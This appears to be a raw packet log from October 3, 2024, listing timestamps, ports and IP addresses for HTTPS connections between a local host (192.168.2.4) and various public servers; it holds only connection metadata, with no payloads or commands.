Oct 3, 2024 10:41:48.890512943 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.890532970 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.890580893 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.890675068 CEST	50068	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:48.890706062 CEST	443	50068	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:48.891813993 CEST	443	50068	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:48.891876936 CEST	50068	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:48.892267942 CEST	50068	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:48.892357111 CEST	443	50068	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:48.892455101 CEST	50068	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:48.894728899 CEST	443	50069	185.64.191.210	192.168.2.4
Oct 3, 2024 10:41:48.895029068 CEST	50069	443	192.168.2.4	185.64.191.210
Oct 3, 2024 10:41:48.895055056 CEST	443	50069	185.64.191.210	192.168.2.4
Oct 3, 2024 10:41:48.895890951 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.895960093 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.895971060 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.896107912 CEST	443	50069	185.64.191.210	192.168.2.4
Oct 3, 2024 10:41:48.896162033 CEST	50069	443	192.168.2.4	185.64.191.210
Oct 3, 2024 10:41:48.901242971 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.901278973 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.901345015 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.901352882 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.901413918 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.904058933 CEST	50069	443	192.168.2.4	185.64.191.210
Oct 3, 2024 10:41:48.904198885 CEST	443	50069	185.64.191.210	192.168.2.4
Oct 3, 2024 10:41:48.906583071 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.906641960 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.906657934 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.906744003 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.906800032 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.908677101 CEST	50069	443	192.168.2.4	185.64.191.210
Oct 3, 2024 10:41:48.908700943 CEST	443	50069	185.64.191.210	192.168.2.4
Oct 3, 2024 10:41:48.918342113 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.918368101 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.919312000 CEST	443	50061	18.66.122.74	192.168.2.4
Oct 3, 2024 10:41:48.919519901 CEST	443	50061	18.66.122.74	192.168.2.4
Oct 3, 2024 10:41:48.919673920 CEST	50061	443	192.168.2.4	18.66.122.74
Oct 3, 2024 10:41:48.922270060 CEST	443	50070	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:48.923031092 CEST	50070	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:48.923058033 CEST	443	50070	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:48.924204111 CEST	443	50070	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:48.924288034 CEST	50070	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:48.924618959 CEST	50070	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:48.924678087 CEST	443	50070	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:48.924865007 CEST	50070	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:48.924871922 CEST	443	50070	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:48.931581974 CEST	50061	443	192.168.2.4	18.66.122.74
Oct 3, 2024 10:41:48.931611061 CEST	443	50061	18.66.122.74	192.168.2.4
Oct 3, 2024 10:41:48.935421944 CEST	443	50068	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:48.936207056 CEST	50060	443	192.168.2.4	34.251.198.143
Oct 3, 2024 10:41:48.936265945 CEST	50068	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:48.936274052 CEST	50067	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:48.936278105 CEST	443	50068	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:48.974153042 CEST	50078	443	192.168.2.4	18.66.122.57
Oct 3, 2024 10:41:48.974191904 CEST	443	50078	18.66.122.57	192.168.2.4
Oct 3, 2024 10:41:48.975414038 CEST	50078	443	192.168.2.4	18.66.122.57
Oct 3, 2024 10:41:48.975756884 CEST	50078	443	192.168.2.4	18.66.122.57
Oct 3, 2024 10:41:48.975768089 CEST	443	50078	18.66.122.57	192.168.2.4
Oct 3, 2024 10:41:48.979114056 CEST	443	50063	13.35.58.58	192.168.2.4
Oct 3, 2024 10:41:48.979295015 CEST	443	50063	13.35.58.58	192.168.2.4
Oct 3, 2024 10:41:48.980113029 CEST	50063	443	192.168.2.4	13.35.58.58
Oct 3, 2024 10:41:48.980880976 CEST	50063	443	192.168.2.4	13.35.58.58
Oct 3, 2024 10:41:48.980899096 CEST	443	50063	13.35.58.58	192.168.2.4
Oct 3, 2024 10:41:48.984376907 CEST	50079	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:48.984406948 CEST	443	50079	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:48.984472036 CEST	50079	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:48.984664917 CEST	50079	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:48.984680891 CEST	443	50079	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.009550095 CEST	50080	443	192.168.2.4	13.35.58.27
Oct 3, 2024 10:41:49.009605885 CEST	443	50080	13.35.58.27	192.168.2.4
Oct 3, 2024 10:41:49.009846926 CEST	50080	443	192.168.2.4	13.35.58.27
Oct 3, 2024 10:41:49.010368109 CEST	50080	443	192.168.2.4	13.35.58.27
Oct 3, 2024 10:41:49.010380983 CEST	443	50080	13.35.58.27	192.168.2.4
Oct 3, 2024 10:41:49.015610933 CEST	443	50060	34.251.198.143	192.168.2.4
Oct 3, 2024 10:41:49.015697002 CEST	443	50060	34.251.198.143	192.168.2.4
Oct 3, 2024 10:41:49.015768051 CEST	50060	443	192.168.2.4	34.251.198.143
Oct 3, 2024 10:41:49.018357038 CEST	50060	443	192.168.2.4	34.251.198.143
Oct 3, 2024 10:41:49.018371105 CEST	443	50060	34.251.198.143	192.168.2.4
Oct 3, 2024 10:41:49.026761055 CEST	50069	443	192.168.2.4	185.64.191.210
Oct 3, 2024 10:41:49.027187109 CEST	50070	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:49.043311119 CEST	50068	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:49.050411940 CEST	50081	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:49.050462008 CEST	443	50081	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.050525904 CEST	50081	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:49.051263094 CEST	50082	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:49.051269054 CEST	443	50082	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.051520109 CEST	50082	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:49.052561045 CEST	50081	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:49.052572966 CEST	443	50081	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.052845001 CEST	50082	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:49.052856922 CEST	443	50082	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.124862909 CEST	443	50069	185.64.191.210	192.168.2.4
Oct 3, 2024 10:41:49.125039101 CEST	443	50069	185.64.191.210	192.168.2.4
Oct 3, 2024 10:41:49.125129938 CEST	50069	443	192.168.2.4	185.64.191.210
Oct 3, 2024 10:41:49.141639948 CEST	443	50067	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:49.141720057 CEST	443	50067	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:49.141882896 CEST	50067	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:49.158761978 CEST	50084	443	192.168.2.4	34.246.204.82
Oct 3, 2024 10:41:49.158814907 CEST	443	50084	34.246.204.82	192.168.2.4
Oct 3, 2024 10:41:49.159145117 CEST	50084	443	192.168.2.4	34.246.204.82
Oct 3, 2024 10:41:49.161432028 CEST	50067	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:49.161465883 CEST	443	50067	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:49.161847115 CEST	50069	443	192.168.2.4	185.64.191.210
Oct 3, 2024 10:41:49.161883116 CEST	443	50069	185.64.191.210	192.168.2.4
Oct 3, 2024 10:41:49.164446115 CEST	50084	443	192.168.2.4	34.246.204.82
Oct 3, 2024 10:41:49.164464951 CEST	443	50084	34.246.204.82	192.168.2.4
Oct 3, 2024 10:41:49.173254013 CEST	50085	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:49.173297882 CEST	443	50085	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.173362970 CEST	50085	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:49.173723936 CEST	50085	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:49.173742056 CEST	443	50085	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.177879095 CEST	443	50068	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:49.177972078 CEST	443	50068	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:49.178056955 CEST	50068	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:49.178745985 CEST	50068	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:49.178771973 CEST	443	50068	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:49.210309029 CEST	443	50070	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:49.210405111 CEST	443	50070	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:49.210493088 CEST	50070	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:49.212001085 CEST	50070	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:49.212009907 CEST	443	50070	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:49.223998070 CEST	50087	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:49.224039078 CEST	443	50087	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:49.224097967 CEST	50087	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:49.224433899 CEST	50087	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:49.224450111 CEST	443	50087	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:49.430634022 CEST	443	50071	37.252.171.52	192.168.2.4
Oct 3, 2024 10:41:49.431858063 CEST	443	50072	34.98.64.218	192.168.2.4
Oct 3, 2024 10:41:49.472656012 CEST	443	50075	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:49.478815079 CEST	443	50073	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:49.490467072 CEST	443	50074	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:49.531394005 CEST	50075	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:49.531397104 CEST	50071	443	192.168.2.4	37.252.171.52
Oct 3, 2024 10:41:49.531723976 CEST	50073	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:49.547375917 CEST	50072	443	192.168.2.4	34.98.64.218
Oct 3, 2024 10:41:49.562856913 CEST	50074	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:49.562886953 CEST	443	50074	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:49.562987089 CEST	50073	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:49.562997103 CEST	443	50073	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:49.563092947 CEST	50075	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:49.563113928 CEST	443	50075	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:49.563196898 CEST	50072	443	192.168.2.4	34.98.64.218
Oct 3, 2024 10:41:49.563221931 CEST	443	50072	34.98.64.218	192.168.2.4
Oct 3, 2024 10:41:49.563287973 CEST	50071	443	192.168.2.4	37.252.171.52
Oct 3, 2024 10:41:49.563293934 CEST	443	50071	37.252.171.52	192.168.2.4
Oct 3, 2024 10:41:49.563447952 CEST	443	50074	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:49.563649893 CEST	443	50073	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:49.564414978 CEST	443	50075	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:49.564428091 CEST	443	50075	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:49.564486027 CEST	50075	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:49.564493895 CEST	443	50071	37.252.171.52	192.168.2.4
Oct 3, 2024 10:41:49.564498901 CEST	443	50072	34.98.64.218	192.168.2.4
Oct 3, 2024 10:41:49.564508915 CEST	443	50071	37.252.171.52	192.168.2.4
Oct 3, 2024 10:41:49.564513922 CEST	443	50072	34.98.64.218	192.168.2.4
Oct 3, 2024 10:41:49.564568043 CEST	50071	443	192.168.2.4	37.252.171.52
Oct 3, 2024 10:41:49.566028118 CEST	50072	443	192.168.2.4	34.98.64.218
Oct 3, 2024 10:41:49.583343029 CEST	50072	443	192.168.2.4	34.98.64.218
Oct 3, 2024 10:41:49.583533049 CEST	443	50072	34.98.64.218	192.168.2.4
Oct 3, 2024 10:41:49.583683968 CEST	50071	443	192.168.2.4	37.252.171.52
Oct 3, 2024 10:41:49.583827972 CEST	443	50071	37.252.171.52	192.168.2.4
Oct 3, 2024 10:41:49.590934992 CEST	50075	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:49.591125965 CEST	443	50075	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:49.591242075 CEST	50073	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:49.591408014 CEST	443	50073	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:49.595007896 CEST	50074	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:49.595218897 CEST	443	50074	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:49.607160091 CEST	50088	443	192.168.2.4	185.64.191.210
Oct 3, 2024 10:41:49.607199907 CEST	443	50088	185.64.191.210	192.168.2.4
Oct 3, 2024 10:41:49.607283115 CEST	50088	443	192.168.2.4	185.64.191.210
Oct 3, 2024 10:41:49.610745907 CEST	50072	443	192.168.2.4	34.98.64.218
Oct 3, 2024 10:41:49.610759974 CEST	443	50072	34.98.64.218	192.168.2.4
Oct 3, 2024 10:41:49.610794067 CEST	50071	443	192.168.2.4	37.252.171.52
Oct 3, 2024 10:41:49.610801935 CEST	443	50071	37.252.171.52	192.168.2.4
Oct 3, 2024 10:41:49.610867023 CEST	50075	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:49.610887051 CEST	443	50075	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:49.610914946 CEST	50073	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:49.610955000 CEST	50074	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:49.614553928 CEST	50088	443	192.168.2.4	185.64.191.210
Oct 3, 2024 10:41:49.614583015 CEST	443	50088	185.64.191.210	192.168.2.4
Oct 3, 2024 10:41:49.631901979 CEST	443	50079	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.637520075 CEST	50079	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:49.637542963 CEST	443	50079	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.638046026 CEST	443	50079	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.640108109 CEST	50079	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:49.640221119 CEST	443	50079	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.640258074 CEST	50079	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:49.655401945 CEST	443	50074	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:49.655416012 CEST	443	50073	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:49.680270910 CEST	443	50081	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.687396049 CEST	443	50079	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.690428019 CEST	443	50078	18.66.122.57	192.168.2.4
Oct 3, 2024 10:41:49.691317081 CEST	443	50082	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.691431999 CEST	50081	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:49.691451073 CEST	443	50081	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.691658974 CEST	50078	443	192.168.2.4	18.66.122.57
Oct 3, 2024 10:41:49.691684008 CEST	443	50078	18.66.122.57	192.168.2.4
Oct 3, 2024 10:41:49.691842079 CEST	443	50081	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.692773104 CEST	443	50078	18.66.122.57	192.168.2.4
Oct 3, 2024 10:41:49.692830086 CEST	50078	443	192.168.2.4	18.66.122.57
Oct 3, 2024 10:41:49.695090055 CEST	50082	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:49.695100069 CEST	443	50082	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.696829081 CEST	443	50082	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.696898937 CEST	50082	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:49.709953070 CEST	50082	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:49.710094929 CEST	443	50082	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.710551023 CEST	50078	443	192.168.2.4	18.66.122.57
Oct 3, 2024 10:41:49.710728884 CEST	443	50078	18.66.122.57	192.168.2.4
Oct 3, 2024 10:41:49.717398882 CEST	443	50072	34.98.64.218	192.168.2.4
Oct 3, 2024 10:41:49.717462063 CEST	50072	443	192.168.2.4	34.98.64.218
Oct 3, 2024 10:41:49.720846891 CEST	50081	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:49.720957041 CEST	443	50081	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.724268913 CEST	50082	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:49.724282026 CEST	443	50082	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.724322081 CEST	50078	443	192.168.2.4	18.66.122.57
Oct 3, 2024 10:41:49.724349976 CEST	443	50078	18.66.122.57	192.168.2.4
Oct 3, 2024 10:41:49.724500895 CEST	50081	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:49.729701042 CEST	50071	443	192.168.2.4	37.252.171.52
Oct 3, 2024 10:41:49.729727030 CEST	50079	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:49.729731083 CEST	50075	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:49.747823954 CEST	443	50080	13.35.58.27	192.168.2.4
Oct 3, 2024 10:41:49.748235941 CEST	50080	443	192.168.2.4	13.35.58.27
Oct 3, 2024 10:41:49.748260021 CEST	443	50080	13.35.58.27	192.168.2.4
Oct 3, 2024 10:41:49.749291897 CEST	443	50080	13.35.58.27	192.168.2.4
Oct 3, 2024 10:41:49.749350071 CEST	50080	443	192.168.2.4	13.35.58.27
Oct 3, 2024 10:41:49.750006914 CEST	50080	443	192.168.2.4	13.35.58.27
Oct 3, 2024 10:41:49.750060081 CEST	443	50080	13.35.58.27	192.168.2.4
Oct 3, 2024 10:41:49.750199080 CEST	50080	443	192.168.2.4	13.35.58.27
Oct 3, 2024 10:41:49.750205040 CEST	443	50080	13.35.58.27	192.168.2.4
Oct 3, 2024 10:41:49.764918089 CEST	50072	443	192.168.2.4	34.98.64.218
Oct 3, 2024 10:41:49.764945030 CEST	443	50072	34.98.64.218	192.168.2.4
Oct 3, 2024 10:41:49.767406940 CEST	443	50081	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.793324947 CEST	443	50071	37.252.171.52	192.168.2.4
Oct 3, 2024 10:41:49.793428898 CEST	443	50071	37.252.171.52	192.168.2.4
Oct 3, 2024 10:41:49.793545961 CEST	50071	443	192.168.2.4	37.252.171.52
Oct 3, 2024 10:41:49.802903891 CEST	50071	443	192.168.2.4	37.252.171.52
Oct 3, 2024 10:41:49.802937031 CEST	443	50071	37.252.171.52	192.168.2.4
Oct 3, 2024 10:41:49.807785034 CEST	443	50085	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.810821056 CEST	443	50075	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:49.810904026 CEST	443	50075	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:49.810971975 CEST	50075	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:49.811913967 CEST	50085	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:49.811934948 CEST	443	50085	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.812503099 CEST	443	50073	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:49.812592030 CEST	443	50073	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:49.812675953 CEST	50073	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:49.813080072 CEST	443	50085	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.813154936 CEST	50085	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:49.814557076 CEST	443	50074	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:49.815849066 CEST	50075	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:49.815856934 CEST	443	50074	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:49.815869093 CEST	443	50075	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:49.815922022 CEST	50074	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:49.835427999 CEST	50085	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:49.835616112 CEST	443	50085	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.865866899 CEST	50073	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:49.865902901 CEST	443	50073	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:49.872767925 CEST	50074	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:49.872796059 CEST	443	50074	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:49.874130964 CEST	50085	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:49.874161005 CEST	443	50085	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.896936893 CEST	50090	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:49.896976948 CEST	443	50090	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:49.897037983 CEST	50090	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:49.897319078 CEST	50090	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:49.897335052 CEST	443	50090	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:49.924936056 CEST	443	50079	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.925026894 CEST	443	50079	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.925199986 CEST	50079	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:49.925460100 CEST	50079	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:49.925483942 CEST	443	50079	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.925501108 CEST	50079	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:49.929121971 CEST	50079	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:49.929125071 CEST	50091	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:49.929166079 CEST	443	50091	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:49.929382086 CEST	50091	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:49.929733038 CEST	50091	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:49.929749012 CEST	443	50091	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:49.931397915 CEST	443	50078	18.66.122.57	192.168.2.4
Oct 3, 2024 10:41:49.931412935 CEST	443	50082	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.931452036 CEST	50078	443	192.168.2.4	18.66.122.57
Oct 3, 2024 10:41:49.931477070 CEST	50082	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:49.936222076 CEST	50080	443	192.168.2.4	13.35.58.27
Oct 3, 2024 10:41:49.960637093 CEST	443	50078	18.66.122.57	192.168.2.4
Oct 3, 2024 10:41:49.960726023 CEST	443	50078	18.66.122.57	192.168.2.4
Oct 3, 2024 10:41:49.960783958 CEST	50078	443	192.168.2.4	18.66.122.57
Oct 3, 2024 10:41:49.962690115 CEST	50093	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:49.962717056 CEST	443	50093	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:49.962799072 CEST	50093	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:49.963263988 CEST	50093	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:49.963277102 CEST	443	50093	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:49.963476896 CEST	50078	443	192.168.2.4	18.66.122.57
Oct 3, 2024 10:41:49.963506937 CEST	443	50078	18.66.122.57	192.168.2.4
Oct 3, 2024 10:41:49.966567039 CEST	50094	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:49.966603994 CEST	443	50094	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:49.966716051 CEST	50094	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:49.966890097 CEST	50094	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:49.966902971 CEST	443	50094	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:49.976730108 CEST	443	50081	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.976785898 CEST	443	50081	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.976824999 CEST	443	50081	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.976850986 CEST	443	50081	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.976881027 CEST	50081	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:49.976907969 CEST	443	50081	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.976922989 CEST	50081	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:49.977200031 CEST	443	50081	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.977490902 CEST	50081	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:49.979604006 CEST	50081	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:49.979623079 CEST	443	50081	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.981720924 CEST	443	50082	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.981820107 CEST	443	50082	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.981954098 CEST	50082	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:49.982400894 CEST	50082	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:49.982414007 CEST	443	50082	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:49.984158039 CEST	50095	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:49.984194040 CEST	443	50095	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:49.984251976 CEST	50095	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:49.984778881 CEST	50095	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:49.984792948 CEST	443	50095	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:49.999267101 CEST	50096	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:49.999289036 CEST	443	50096	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:49.999351978 CEST	50096	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:49.999912024 CEST	50096	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:49.999927044 CEST	443	50096	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:50.002947092 CEST	50097	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:50.002983093 CEST	443	50097	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:50.003072977 CEST	50097	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:50.003252983 CEST	50097	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:50.003262997 CEST	443	50097	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:50.021768093 CEST	443	50080	13.35.58.27	192.168.2.4
Oct 3, 2024 10:41:50.021861076 CEST	443	50080	13.35.58.27	192.168.2.4
Oct 3, 2024 10:41:50.021914005 CEST	50080	443	192.168.2.4	13.35.58.27
Oct 3, 2024 10:41:50.022711039 CEST	50080	443	192.168.2.4	13.35.58.27
Oct 3, 2024 10:41:50.022730112 CEST	443	50080	13.35.58.27	192.168.2.4
